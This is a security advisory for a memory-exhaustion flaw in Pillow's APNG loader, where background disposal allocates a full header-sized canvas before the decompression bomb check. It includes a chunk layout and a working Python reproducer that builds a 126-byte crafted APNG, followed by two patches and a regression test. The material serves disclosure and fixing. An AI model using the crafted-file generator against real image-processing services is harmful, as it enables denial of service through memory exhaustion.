CVE-2026-112399

============================================================================
APNG background disposal allocates full canvas before decompression bomb check
Location: src/PIL/PngImagePlugin.py:1000  in PngImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A 126-byte animated PNG file makes Pillow's Image.open() allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as load(), can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.

The bug is in PngImageFile._seek() in src/PIL/PngImagePlugin.py (around line 1000). For any APNG, _open() calls self._seek(0). When the first fcTL chunk requests OP_BACKGROUND disposal, _seek() calls Image.core.fill(self.mode, self.size) with the full IHDR size, which allocates and zero-fills width×height×4 bytes. OP_PREVIOUS takes the same path, because frame 0 rewrites it to OP_BACKGROUND. This all happens inside the plugin factory, so Image.open()'s _decompression_bomb_check(im.size) only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.

Below available memory, the allocation is freed when DecompressionBombError propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (dispose_op 0 vs 1). Both end in DecompressionBombError, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.

Details

For an APNG whose first fcTL chunk requests OP_BACKGROUND disposal, PngImageFile._open() creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before Image.open() gets to _decompression_bomb_check(im.size), so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.

The following 126-byte file (all chunk lengths and CRCs valid) makes Image.open(io.BytesIO(data)), with default MAX_IMAGE_PIXELS and no load(), reach 1.86 GB resident (ru_maxrss) and then raise DecompressionBombError. The byte-identical file with dispose_op=0 raises the same error at 17 MB.

IHDR  width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)
acTL  num_frames=2 num_plays=0
fcTL  seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0
IDAT  zlib(00 00 00 00 00)                      # one 1x1 RGBA scanline
IEND

With width=height=45000 (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB RLIMIT_AS it fails with MemoryError from the allocator instead of DecompressionBombError; without a cap, on an 8 GB host with no swap, the process is OOM-killed.

Code path

Image.open() runs the bomb check only after the plugin's constructor (and therefore _open()) has returned:

# src/PIL/Image.py:3699-3701
                    im = factory(fp, filename)
                    _decompression_bomb_check(im.size)
                    return im

For a plain PNG that ordering is fine: PngImageFile._open() only parses chunks up to the first IDAT and records self._size from IHDR; nothing is allocated from it. For an APNG (acTL seen, so im_n_frames is set) _open() additionally positions on frame 0:

# src/PIL/PngImagePlugin.py:845-853
        if self.png.im_n_frames is not None:
            …
            self._seek(0)

_seek(0) copies disposal and bbox from the fcTL chunk into self.dispose_op / self.dispose_extent and then prepares the disposal image for the next frame eagerly, using the full image size:

# src/PIL/PngImagePlugin.py:991-1001
        if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
            self.dispose_op = Disposal.OP_BACKGROUND

        self.dispose = None
        if self.dispose_op == Disposal.OP_PREVIOUS:
            …
        elif self.dispose_op == Disposal.OP_BACKGROUND:
            self.dispose = Image.core.fill(self.mode, self.size)
            self.dispose = self._crop(self.dispose, self.dispose_extent)

Image.core.fill is _fill() in src/_imaging.c:711, which does ImagingNewDirty(mode, xsize, ysize) followed by ImagingFill(); ImagingFill (src/libImaging/Fill.c:23) writes every row, so the whole width*height*4 bytes become resident rather than merely reserved. self.size here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The _crop on the next line does call _decompression_bomb_check, but on the fcTL rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite OP_PREVIOUS to OP_BACKGROUND on frame 0, so dispose_op=2 takes the same path (verified: identical 1.86 GB peak). When the first fcTL rectangle is large, the _crop copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame fcTL (below the error threshold, so Image.open() succeeds with only a DecompressionBombWarning) peaks at 1.31 GB for a 0.66 GB canvas.

The only validation chunk_fcTL applies (src/PIL/PngImagePlugin.py:740-745) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to _open_core, _decompression_bomb_check((22000, 22000)) raises, and the 1.9 GB core image is released when the half-constructed PngImageFile is discarded.

The eager full-size fill in _seek() was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", 2020-12-24) and first shipped in 8.1.0; before it, the OP_BACKGROUND fill lived in load_end() and could not be reached from Image.open().

Reproducing

repro is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain Image.open(io.BytesIO(data)) in a fresh child interpreter using default settings and no load(), and has each child report the exception it got and its own peak RSS (ru_maxrss). It needs about 2 GB of free RAM and finishes in about a second.

The two files are 126 bytes each and differ in exactly one byte, the dispose_op of the first fcTL chunk: 0 (OP_NONE) for the control and 1 (OP_BACKGROUND) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×MAX_IMAGE_PIXELS error threshold, so Image.open() has to reject both with DecompressionBombError. Each chunk has a job:

• The acTL chunk (2 frames) makes _open() call _seek(0).
• The 1×1 fcTL rectangle passes chunk_fcTL's bounds check and _crop's bomb check.
• The one-scanline IDAT ends header parsing.

Expected output on this tree:

126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults
  control  dispose_op=0 OP_NONE        -> DecompressionBombError peak RSS    17 MB
  attack   dispose_op=1 OP_BACKGROUND  -> DecompressionBombError peak RSS  1864 MB
Image.open() touched a full 22000x22000 canvas before the bomb check ran
BUG

Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after Image.core.fill("RGBA", (22000, 22000)) has allocated and zero-filled about 1.9 GB. The script prints BUG if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by SIGKILL (for example by the OOM killer on a small host). Otherwise it prints OK; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in OK. With either attached patch applied, both children report about 17–22 MB and the script prints OK.

The allocation grows with the header, so it can be scaled by changing SIZE in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.

The patch (1 of 2)

Create the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
         assert im.size == (128, 64)
 
 
+def test_apng_dispose_op_background_decompression_bomb() -> None:
+    # The disposal image must not be created from the declared image size
+    # before the decompression bomb check in Image.open() has run.
+    # A canvas this wide cannot be allocated, so if it is attempted,
+    # a MemoryError is raised instead of a DecompressionBombError.
+    o16 = PngImagePlugin.o16
+    o32 = PngImagePlugin.o32
+
+    b = BytesIO()
+    b.write(PngImagePlugin._MAGIC)
+    PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+    PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+    PngImagePlugin.putchunk(
+        b,
+        b"fcTL",
+        o32(0),  # sequence number
+        o32(1),  # width
+        o32(1),  # height
+        o32(0),  # x offset
+        o32(0),  # y offset
+        o16(1),  # delay numerator
+        o16(10),  # delay denominator
+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+    )
+    PngImagePlugin.putchunk(b, b"IDAT")
+    PngImagePlugin.putchunk(b, b"IEND")
+
+    with pytest.raises(Image.DecompressionBombError):
+        Image.open(b)
+
+
 def test_apng_blend() -> None:
     with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
         assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..24fa587c1 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):
             # ensure previous frame was loaded
             self.load()
 
+            if self.dispose_op == Disposal.OP_BACKGROUND:
+                # Created here rather than in the previous _seek(), so that
+                # nothing is allocated from the declared image size before
+                # the decompression bomb check in Image.open() has run.
+                # Only dispose the extent of the previous frame.
+                x0, y0, x1, y1 = self.dispose_extent
+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))
             if self.dispose:
                 self.im.paste(self.dispose, self.dispose_extent)
             self._prev_im = self.im.copy()
@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):
             if self._prev_im:
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
-        elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)
 
     def tell(self) -> int:
         return self.__frame

The patch (2 of 2)

Bomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek()

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
         assert im.size == (128, 64)
 
 
+def test_apng_dispose_op_background_decompression_bomb() -> None:
+    # The disposal image must not be created from the declared image size
+    # before the decompression bomb check in Image.open() has run.
+    # A canvas this wide cannot be allocated, so if it is attempted,
+    # a MemoryError is raised instead of a DecompressionBombError.
+    o16 = PngImagePlugin.o16
+    o32 = PngImagePlugin.o32
+
+    b = BytesIO()
+    b.write(PngImagePlugin._MAGIC)
+    PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+    PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+    PngImagePlugin.putchunk(
+        b,
+        b"fcTL",
+        o32(0),  # sequence number
+        o32(1),  # width
+        o32(1),  # height
+        o32(0),  # x offset
+        o32(0),  # y offset
+        o16(1),  # delay numerator
+        o16(10),  # delay denominator
+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+    )
+    PngImagePlugin.putchunk(b, b"IDAT")
+    PngImagePlugin.putchunk(b, b"IEND")
+
+    with pytest.raises(Image.DecompressionBombError):
+        Image.open(b)
+
+
 def test_apng_blend() -> None:
     with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
         assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..0111a17d7 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):
                 msg = "image not found in APNG frame"
                 raise EOFError(msg)
         if dispose_extent:
-            self.dispose_extent: tuple[float, float, float, float] = dispose_extent
+            self.dispose_extent: tuple[int, int, int, int] = dispose_extent
 
         # setup frame disposal (actual disposal done when needed in the next _seek())
         if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):
                 self.dispose = self._prev_im.copy()
                 self.dispose = self._crop(self.dispose, self.dispose_extent)
         elif self.dispose_op == Disposal.OP_BACKGROUND:
-            self.dispose = Image.core.fill(self.mode, self.size)
-            self.dispose = self._crop(self.dispose, self.dispose_extent)
+            # only dispose the extent in this frame, rather than filling an
+            # image of the declared size before Image.open() has been able to
+            # run the decompression bomb check
+            x0, y0, x1, y1 = self.dispose_extent
+            dispose_size = (x1 - x0, y1 - y0)
+
+            Image._decompression_bomb_check(dispose_size)
+            self.dispose = Image.core.fill(self.mode, dispose_size)
 
     def tell(self) -> int:
         return self.__frame

The reproducer

Reproducer, repro, 3,564 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
"""
Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the
header-declared size *before* Pillow's decompression-bomb check rejects it.

We build two PNGs that are identical except for one byte, the first fcTL
chunk's dispose_op:

    control: dispose_op = 0  (OP_NONE)
    attack:  dispose_op = 1  (OP_BACKGROUND)

Both declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS
error threshold), so Image.open() must reject both with DecompressionBombError
-- and that check exists precisely so the rejection is cheap. For the attack
file, PngImageFile._open() -> _seek(0) first runs
Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the
bomb check reached.

Each file is opened in a fresh interpreter that reports its own peak RSS.
"""
import struct
import subprocess
import sys
import zlib

SIZE = 22000  # 22000 * 22000 * 4 bytes = 1.94 GB canvas


def chunk(cid, data):
    crc = zlib.crc32(cid + data)
    return struct.pack(">I", len(data)) + cid + data + struct.pack(">I", crc)


def build_apng(dispose_op):
    ihdr = struct.pack(">IIBBBBB", SIZE, SIZE, 8, 6, 0, 0, 0)  # 8-bit RGBA
    actl = struct.pack(">II", 2, 0)  # animated: 2 frames -> _open() calls _seek(0)
    # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check),
    # delay 1/10 s, the dispose_op under test, blend_op 0
    fctl = struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0)
    idat = zlib.compress(b"\x00" + b"\x00\x00\x00\x00")  # one 1x1 RGBA scanline
    return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"acTL", actl)
            + chunk(b"fcTL", fctl) + chunk(b"IDAT", idat) + chunk(b"IEND", b""))


# What an application does with an untrusted upload: Image.open() with default
# settings, no load(). Prints the outcome and this process's peak RSS in MB.
OPEN_UNTRUSTED = """
import io, resource, sys
from PIL import Image
try:
    Image.open(io.BytesIO(sys.stdin.buffer.read()))
    outcome = "opened"
except Exception as e:
    outcome = type(e).__name__
print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)
"""


def open_in_child(data):
    p = subprocess.run([sys.executable, "-c", OPEN_UNTRUSTED], input=data,
                       capture_output=True, timeout=60)
    if p.returncode == -9:  # SIGKILL: OOM-killed on a small host -- also the bug
        return "oom-killed(rc=-9)", None
    if p.returncode != 0:  # anything else is a harness failure, not evidence
        print(p.stdout.decode(), p.stderr.decode(), sep="\n")
        print("child failed unexpectedly (rc=%d)" % p.returncode)
        print("OK")
        sys.exit(1)
    outcome, peak_mb = p.stdout.split()
    return outcome.decode(), int(peak_mb)


control = build_apng(dispose_op=0)
attack = build_apng(dispose_op=1)

c_outcome, c_mb = open_in_child(control)
a_outcome, a_mb = open_in_child(attack)

print("%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults"
      % (len(attack), SIZE, SIZE))
print("  control  dispose_op=0 OP_NONE        -> %-22s peak RSS %5s MB" % (c_outcome, c_mb))
print("  attack   dispose_op=1 OP_BACKGROUND  -> %-22s peak RSS %5s MB" % (a_outcome, a_mb))

# Expected: both rejected at roughly interpreter size. Bug: the attack file
# made the "cheap" rejection cost a full-size canvas (or killed the process).
if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb):
    print("Image.open() touched a full %dx%d canvas before the bomb check ran"
          % (SIZE, SIZE))
    print("BUG")
else:
    print("OK")